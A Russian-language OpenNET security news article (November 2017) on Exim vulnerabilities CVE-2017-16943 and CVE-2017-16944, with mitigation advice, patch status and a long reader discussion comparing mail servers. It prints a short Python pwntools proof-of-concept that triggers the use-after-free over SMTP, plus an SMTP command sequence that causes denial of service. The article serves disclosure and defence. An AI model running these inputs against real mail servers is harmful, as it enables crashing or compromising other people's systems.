The OpenNET Project / Index page

[ новости/++ | форум | wiki | теги ]

27.11.2017 13:01  Уязвимость в Exim, позволяющая выполнить код на сервере

В почтовом сервере Exim выявлена критическая уязвимость (CVE-2017-16943), которая может привести к удалённому выполнению кода на сервере с правами управляющего процесса exim при передаче определённым образом оформленных команд по SMTP. Всем пользователям Exim в срочном порядке рекомендуется отключить расширение "ESMTP CHUNKING" (появилось в Exim 4.88) путем установки пустого значения в параметр "chunking_advertise_hosts" в файле конфигурации.

Уязвимость вызвана ошибкой, которая может привести к обращению к уже освобождённому блоку памяти в коде разбора заголовков почтового сообщения (функция receive_msg из файла receive.c). Заявлено, что известный вектор атаки применим только к веткам Exim 4.88 и 4.89, в которых поддерживается команда BDAT и расширение "ESMTP CHUNKING", предназначенные для кусочной передачи тела письма вместо передачи неделимым блоком при помощи команды DATA. При этом сторонние исследователи безопасности не исключают потенциальную возможность обнаружения других методов эксплуатации уязвимости.

Так как сведения об уязвимости были раскрыты через публично доступную систему отслеживания ошибок, без предварительного информирования в частном порядке, сведения об уязвимости опубликованы разработчиками Exim до выпуска обновления с устранением уязвимости. Для применения пока доступен только предварительный вариант патча. Обновления пакетов уже сформированы для FreeBSD. Проблема остаётся неисправленной в Debian (stretch), openSUSE, SUSE, Fedora, Ubuntu, RHEL/EPEL.

Для проверки подверженности уязвимости подготовлен прототип эксплоита, который сводится к передаче несуществующей команды с последующей отправкой команды "BDAT 1", команды BDAT без указания размера и большой порции непечатных символов. Пример на Python:


   from pwn import *
   r = remote('localhost', 25)

   r.recvline()
   r.sendline("EHLO test")
   r.recvuntil("250 HELP")
   r.sendline("MAIL FROM:")
   r.recvline()
   r.sendline("RCPT TO:")
   r.recvline()
   #raw_input()
   r.sendline('a'*0x1100+'\x7f')
   #raw_input()
   r.recvuntil('command')
   r.sendline('BDAT 1')
   r.sendline(':BDAT \x7f')
   s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8)
   r.send(s+ ':\r\n')
   r.recvuntil('command')
   #raw_input()
   r.send('\n')
   r.interactive()
   exit()

Кроме того, в Exim дополнительно выявлена ещё одна уязвимость в реализации "ESMTP CHUNKING" (CVE-2017-16944), позволяющая вызвать отказ в обслуживании. Как и первая проблема вторая уязвимость присутствует в функции receive_msg из файла receive.c, но связана с некорректной проверкой символа "." в конце блока, переданного командой BDAT. Уязвимость приводит к бесконечному зацикливанию внутри функции bdat_getc и краху рабочего процесса из-за истечения свободной памяти, отведённой под стек. Для эксплуатации достаточно передать команды:


   EHLO localhost
   MAIL FROM:
   RCPT TO:
   BDAT 10
   .
   BDAT 0


  1. Главная ссылка к новости (http://openwall.com/lists/oss-...)
  2. OpenNews: Обновление почтового сервера Exim 4.89
  3. OpenNews: Новая версия почтового сервера Exim 4.88 с устранением уязвимостей
  4. OpenNews: В почтовом сервере Exim 4.82.1 устранена критическая уязвимость
  5. OpenNews: Критическая локальная уязвимость в Exim
  6. OpenNews: Доступен почтовый сервер Exim 4.83 с устранением уязвимости
Лицензия: CC-BY
Тип: Проблемы безопасности
Ключевые слова: exim
При перепечатке указание ссылки на opennet.ru обязательно
Обсуждение Линейный вид | Ajax | Показать все | RSS
 
  • 1.1, Аноним, 13:22, 27/11/2017 [ответить] [смотреть все]
  • –33 +/
    Эх, сишники... В своем репертуаре
     
     
  • 2.2, Аноним, 13:32, 27/11/2017 [^] [ответить] [смотреть все] [показать ветку]
  • +21 +/
    Postfix тоже на Си, но обязательные для выполнения правила безопасного кодирования, набор безопасных функций, жесткое рецензирование и предварительный аудит, позволяют поддерживать высокую безопасного кода.

    В Exim же, на примере "ESMTP CHUNKING" и стабильно всплывающих раз в полгода похожих уязвимостей, видно, что  достаточно сырой код принимают лишь после беглого тестирования  обработки штатных ситуаций и без аудита кода.

     
     
  • 3.21, _, 17:44, 27/11/2017 [^] [ответить] [смотреть все]
  • +2 +/
    Хе-хе ну признают уже что это - лучший патч к Ыкзиму или ещё побарахтаются ... весь текст скрыт [показать]
     
  • 3.48, all_glory_to_the_hypnotoad, 02:52, 28/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Фишка даже не в этом, postfix хорошо порезан на изолированные бинари с ограничен... весь текст скрыт [показать]
     
     
  • 4.61, guest, 14:47, 28/11/2017 [^] [ответить] [смотреть все]  
  • +/
    угу, из второго поколения MTA вернее из троицы Exim Postfix Qmail монолитен то... весь текст скрыт [показать]
     
  • 4.71, SubGun, 00:21, 30/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    > Фишка даже не в этом, postfix хорошо порезан на изолированные бинари с
    > ограниченными правами и даже в случае эксплуатации уязвимости не всегда можно
    > воспользоваться результатом. Экзим со всех сторон кусок гогна.

    Тогда и nginx аналогичный кусок? Потому что принцип работы у них вообще-то схож.

     
  • 2.6, Andrey Mitrofanov, 14:06, 27/11/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Раньше и https security-tracker debian org tracker CVE-2017-16943 Debian-ы был... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.24, _, 17:46, 27/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Тут согласен. :( Все толковые пиплы или уже в рх или пошли ветром гонимые ...
     
  • 2.13, amonymous, 15:13, 27/11/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +2 +/
    Быстрый и сопоставимо с postfix exim функциональный MTA на чём-то кроме C в студ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.14, Sw00p aka Jerom, 15:17, 27/11/2017 [^] [ответить] [смотреть все]  
  • –5 +/
    так безопасней на пхп написать там же текстовый протокол
     
     
  • 4.25, _, 17:47, 27/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    А давай! :)
     
     
  • 5.41, пох, 20:55, 27/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    чуть ли не netch помнится, когда-то выкладывал на awk Ну а чо, текстовый же ж ... весь текст скрыт [показать]
     
     
  • 6.75, Аноним, 12:45, 01/12/2017 [^] [ответить] [смотреть все]     [к модератору]  
  • +/
    Текстовым протоколам очень удобно через всякие escape и спецтрактовки символов п... весь текст скрыт [показать]
     
  • 5.43, Sw00p aka Jerom, 21:42, 27/11/2017 [^] [ответить] [смотреть все]  
  • –1 +/
    Я ярый противник текстовых
     
     
  • 6.64, _, 17:44, 28/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    За четыре часа полностью отдалась Слаба на передок, тчк 8- ... весь текст скрыт [показать]
     
  • 3.36, Онаним, 18:47, 27/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    Говорят нынче люди достаточно быстрые штуки на Go пишут, например.
     
     
  • 4.74, Аноним, 12:34, 01/12/2017 [^] [ответить] [смотреть все]     [к модератору]  
  • +1 +/
    А когда ими начнет кто-нибудь пользоваться - о них тоже станет известно много но... весь текст скрыт [показать]
     
  • 3.45, Vsevolod Stakhov, 23:10, 27/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Haraka Рвет Postfix и Exim по скорости, как тузик грелку Ни один другой MTA на... весь текст скрыт [показать]
     
     
  • 4.49, ., 03:56, 28/11/2017 [^] [ответить] [смотреть все]  
  • +4 +/
    Haraka is an open source SMTP server written in Node js Свят-свят-свят, уп... весь текст скрыт [показать]
     
     
  • 5.56, Vsevolod Stakhov, 11:36, 28/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Да, лучше RCE. Ну и как бы node.js != leftpad и вебмакакам.
     
     
  • 6.65, _, 17:46, 28/11/2017 [^] [ответить] [смотреть все]  
  • +2 +/
    Настало время историй С 8- ... весь текст скрыт [показать]
     
  • 6.77, Аноним, 13:11, 01/12/2017 [^] [ответить] [смотреть все]     [к модератору]  
  • +/
    Создайте ЯП которым может пользоваться даже вебмакака - и только вебмакака захоч... весь текст скрыт [показать]
     
  • 4.58, xm, 13:14, 28/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Попадались описания инсталляций Exim обрабатывающие 1000 в секунду Но я не в ... весь текст скрыт [показать]
     
  • 2.26, Michael Shigorin, 17:58, 27/11/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • –4 +/
    Это не сишники, это вумный прохвессор и славные дебианщики, предлагающие решетча... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.32, Andrey Mitrofanov, 18:23, 27/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    Не путаешь https en wikipedia org wiki Philip_Hazel с djb qmail fame ... весь текст скрыт [показать]
     
     
  • 4.42, пох, 21:03, 27/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    тот прохвессор давно уже покинул свой профессорский пост, и занимается какой-то ... весь текст скрыт [показать]
     
     
  • 5.55, Аноним, 09:53, 28/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Надеюсь, это трендовые, британские учёные?
     
     
  • 6.57, пох, 12:48, 28/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    ну кембридж же ж, какие еще там должны быть...

     
     
  • 7.63, Andrey Mitrofanov, 16:06, 28/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Кембрижско-масачусетско-кейптаунские космополиты, 1шт ... весь текст скрыт [показать]
     
  • 5.62, Andrey Mitrofanov, 16:04, 28/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    Он-таки не профессор, а админ за всё комп оборудование в Кембридже 105 стран... весь текст скрыт [показать]
     
     
  • 6.66, _, 19:04, 28/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    Andrey Mitrofanov - спасибо за книжку Читаю и нравиЦЦо ... весь текст скрыт [показать]
     
  • 2.73, Аноним, 12:31, 01/12/2017 [^] [ответить] [смотреть все] [показать ветку]     [к модератору]  
  • +1 +/
    Ты так говоришь, как будто ошибки в софте делают только сишники ... весь текст скрыт [показать] [показать ветку]
     
  • 1.3, Аноним, 13:33, 27/11/2017 [ответить] [смотреть все]  
  • +2 +/
    шо, опять? (даже в предложенных новостях - одни уязвимости в сабже)
     
     
  • 2.5, нах, 13:49, 27/11/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    потому что новостей типа а мы chunked smtp изобрели, для совместимости с не зна... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.11, xm, 14:56, 27/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Справедливости ради его изобрели уж скоро как 20 лет https www ietf org rfc rf... весь текст скрыт [показать]
     
     
  • 4.20, нах, 17:41, 27/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    интересней другое, где и зачем оно поддерживается chunked наверное гугль умеет,... весь текст скрыт [показать]
     
     
  • 5.59, xm, 13:23, 28/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Да там же в RFC и написано зачем - чтобы аттачи гнать в бинарной, а не base64 фо... весь текст скрыт [показать]
     
  • 1.7, Аноним, 14:07, 27/11/2017 [ответить] [смотреть все]  
  • +2 +/
    В котором ... весь текст скрыт [показать]
     
     
  • 2.8, Аноним, 14:10, 27/11/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    Очевидно же exim.conf
     
     
  • 3.69, SubGun, 00:17, 30/11/2017 [^] [ответить] [смотреть все]  
  • +1 +/
    Ну-ну. Вот только в дебианбэйзед дистрибутивах какой-то умственно отсталый напилил конфиг на 100500 мелких конфигов, и там сейчас сам черт ногу сломит.
     
     
  • 4.72, angra, 07:19, 30/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Умственно отсталые разве что те, кто рассказывает эту страшную сказку. На деле ничто не мешает в debian использовать обычный exim4.conf. Просто, в отличии от других дистров, дебиан предлагает еще два дополнительных варианта при конфигурации через debconf: монолитный конфиг с макросами и разбиение конфига на кучу мелких файлов. Преимущества, недостатки и детали использования всех трех способов описаны в README. В том числе там есть такое:
       If you are only running a small number of systems and want to
       completely disable Debian's magic, just take your monolithic
       configuration file and install it as /etc/exim4/exim4.conf. Exim will
       use that file verbatim.

     
  • 4.76, Аноним, 13:10, 01/12/2017 [^] [ответить] [смотреть все]     [к модератору]  
  • +/
    Да, еще и файлы осмысленно называют Намного лучше когда 5 страниц текста одним ... весь текст скрыт [показать]
     
  • 1.9, mag, 14:46, 27/11/2017 [ответить] [смотреть все]  
  • +/
    Эм... Exim 4.89-2+deb9u1, в конфиге ничего специально не писал, на BDAT ругается что CHUNKING is not advertised.
    Это его надо было специально включать, что ли?
     
     
  • 2.15, sas, 15:57, 27/11/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    chunking_advertise_hosts = *
     
  • 1.18, Аноним, 17:32, 27/11/2017 [ответить] [смотреть все]  
  • +/
    С
    секьюрно
     
  • 1.19, Аноним, 17:37, 27/11/2017 [ответить] [смотреть все]  
  • +1 +/
    А подобные ляпы в postfix были? Что-то не припоминаю.
     
     
  • 2.27, нах, 17:59, 27/11/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +4 +/
    а он что, chunked smtp научился, что-ли Или binary mime если ничего толком не ... весь текст скрыт [показать] [показать ветку]
     
     
  • 3.31, _, 18:22, 27/11/2017 [^] [ответить] [смотреть все]  
  • +/
    А оно куму то уперлось Дооооо Postfix умеет надёжно и быстро принимать и доста... весь текст скрыт [показать]
     
     
  • 4.35, sas, 18:40, 27/11/2017 [^] [ответить] [смотреть все]  
  • +/
    тут серьезные дяди общаются, а не осиляторы конфигураторов http www postfix o... весь текст скрыт [показать]
     
     
  • 5.37, нах, 19:00, 27/11/2017 [^] [ответить] [смотреть все]  
  • +2 +/
    там интересней, оно как-то так удивительно вычисляло эту subnet, когда интерфейс... весь текст скрыт [показать]
     
     
  • 6.39, _, 19:46, 27/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Тьфу, допёрло о чем вы тут Ну и Так что как бе - да ... весь текст скрыт [показать]
     
  • 3.44, Sw00p aka Jerom, 21:47, 27/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Дык на 127.0.0.1


     
     
  • 4.46, нах, 23:55, 27/11/2017 [^] [ответить] [смотреть все]  
  • +/
    и тут тоже забавно Чтобы снять sendmail с этого ручника - надо прочитать доку... весь текст скрыт [показать]
     
     
  • 5.70, SubGun, 00:20, 30/11/2017 [^] [ответить] [смотреть все]  
  • +/
    Какой-то поток сознания
     
  • 2.33, Andrey Mitrofanov, 18:30, 27/11/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +1 +/
    фейворит_сиёрч_нжин тебе стальные руки-крылья не дал или склероз память укороти... весь текст скрыт [показать] [показать ветку]
     
  • 1.50, Alex, 07:13, 28/11/2017 [ответить] [смотреть все]  
  • +/
    Все равно его не брошу, потому что он хороший! :)
     
  • 1.53, Ordu, 09:52, 28/11/2017 [ответить] [смотреть все]  
  • +1 +/
    > с последующей отправкой [...] большой порции непечатных символов.

    Мне одному весело от большой порции непечатных символов?

     
     
  • 2.54, Ordu, 09:53, 28/11/2017 [^] [ответить] [смотреть все] [показать ветку]  
  • +/
    Порнографических эмотиконов?
     
  • 1.60, ПравдорубЪ, 14:38, 28/11/2017 [ответить] [смотреть все]  
  • –3 +/
    Пользователи свежего модного молодёжного хайпа должны страдать ... весь текст скрыт [показать]
     
  • 1.67, Аноним, 19:31, 28/11/2017 [ответить] [смотреть все]  
  • –2 +/
    А зачем все это включают в основную ветку От почтового сервера нужно принять со... весь текст скрыт [показать]
     
  • 1.68, Домохозяйка Анонима, 20:10, 28/11/2017 [ответить] [смотреть все]  
  • –2 +/
    > ESMTP CHUNKING

    Что это и зачем оно ненужно?

     

     Добавить комментарий
    Имя:
    E-Mail:
    Заголовок:
    Текст:


      Закладки на сайте
      Проследить за страницей
    Created 1996-2017 by Maxim Chirkov  
    ДобавитьРекламаВебмастеруГИД  
    Hosting by Ihor